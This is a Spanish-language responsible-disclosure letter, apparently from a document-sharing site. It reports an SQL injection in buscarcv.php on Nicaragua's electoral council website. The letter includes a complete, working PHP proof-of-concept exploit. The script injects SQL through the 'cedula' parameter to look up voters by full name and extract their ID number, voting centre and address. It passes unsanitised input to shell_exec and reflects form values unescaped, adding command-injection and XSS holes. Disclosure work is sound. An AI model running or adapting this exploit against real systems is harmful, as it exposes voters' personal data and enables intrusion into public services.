Vous êtes sur la page 1sur 3

Len, 4 de Septiembre del 2017

A quin concierna.

Soy un investigador independiente y encontr una vulnerabilidad en su sitio Web cuyo nivel de
peligrosidad es en apariencia bajo sin embargo podra ocasionar un ataque de denegacin de servicio
contra la consulta del padrn electoral en poca de elecciones, lo que impedira a muchas personas
conocer su JRV, tambin ocasionara problemas en servicios que consultan al suyo en forma de API.

Si en un futuro aaden una base de datos privada a la Web y el usuario actual del servicio tiene
permisos para acceder a ella tambin podran poner en peligro esa informacin, por lo que sugiero que
parchen el error tan pronto como sea posible.

La variable cedula dentro de archivo buscarcv.php no es validada correctamente lo que permite


inyectar comandos SQL.

Desarroll un pequeo script en PHP como prueba de concepto cuyo objetivo es simplemente consultar
utilizando 2 nombres y 2 apellidos (funcionalidad no disponible de manera legtima).

Ac una captura del script funcionando:

A continuacin el script:

<?php

function get( $pattern ) {


global $info;
preg_match_all('|'.$pattern.'|is', $info, $matches);
return trim($matches[1][0]);
}

if( $_POST ) {
if( $_POST['pnombre'] != '' && $_POST['snombre'] != '' && $_POST['papellido'] != '' && $_POST['sapellido']
!= '' ) {

$inj = "' or ( P_NOM = '".$_POST['pnombre']."' and S_NOM = '".$_POST['snombre']."' and P_APE


= '".$_POST['papellido']."' and S_APE = '".$_POST['sapellido']."' ) and '1'='1";
$info = shell_exec('curl "http://www.cse.gob.ni/buscarcv.php" --data "tipo=D&cedula='.$inj.'"');
preg_match_all('|<b>CEDULA: </b> (.*?) <br><br><br>|', $info, $matches);
$cedula = $matches[1][0];

if( !preg_match('|^[0-9]{13}[a-zA-Z]{1}$|', $cedula) )


exit('ERROR: CEDULA NO ENCONTRADA');

$ch = curl_init('http://www.cse.gob.ni/buscarcv.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, array('cedula' => $cedula,
'tipo'
=> 'C'));
$info = curl_exec($ch);
$final = array(
'nombre' => get('<b>NOMBRE:</b> (.*?) <'),
'expediente_colilla' => get('<b>EXPEDIENTE / COLILLA:</b> (.*?) <'),
'cv' => get('<b>CV:</b> (.*?) <'),
'departamento' => get('<b>DEPARTAMENTO:</b> (.*?) <br>'),
'municipio' => get('<b>MUNICIPIO:</b> (.*?) <'),
'ubicacion' => get('<b>UBICACION:</b> (.*?) <'),
'direccion' => get('<b>DIRECCION:</b> (.*?) <'),
);

print '<pre>';
print_r($final);
print '</pre>';
}
}

?>
<!DOCTYPE html>
<html lang="">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Demo CSE</title>
<link rel="stylesheet"
href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css" integrity="sha384-
1q8mTJOASx8j1Au+a5WDVnPi2lkFfwwEAa8hDDdjZlpLegxhjVME1fgjWPGmkzs7" crossorigin="anonymous">
<script src="//code.jquery.com/jquery.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"
integrity="sha384-0mSbJDEHialfmuBBQP6A4Qrprq5OVfW37PRR3j5ELqxss1yVqOtnepnHVP9aJ7xS"
crossorigin="anonymous"></script>
</head>
<body>
<style type="text/css">input { text-transform: uppercase; }</style>
<div class="container">
<form action="index.php" method="POST" role="form">
<legend>(cse.gob.ni SQL Injection Proof of Concept Exploit) Ingrese 2 nombres
y 2 apellidos</legend>

<div class="form-group">
<label>Primer nombre</label>
<input type="text" class="form-control" name="pnombre" required
autofocus value="<?= $_POST['pnombre'] ?>">
</div>
<div class="form-group">
<label>Segundo nombre</label>
<input type="text" class="form-control" name="snombre" required
value="<?= $_POST['snombre'] ?>">
</div>
<div class="form-group">
<label>Primer apellido</label>
<input type="text" class="form-control" name="papellido" required
value="<?= $_POST['papellido'] ?>">
</div>
<div class="form-group">
<label>Segundo apellido</label>
<input type="text" class="form-control" name="sapellido" required
value="<?= $_POST['sapellido'] ?>">
</div>

<hr />

<button type="submit" class="btn btn-primary">Continuar</button>


</form>
</div>

</body>
</html>

Att. Carlos Ernesto Lpez

Vous aimerez peut-être aussi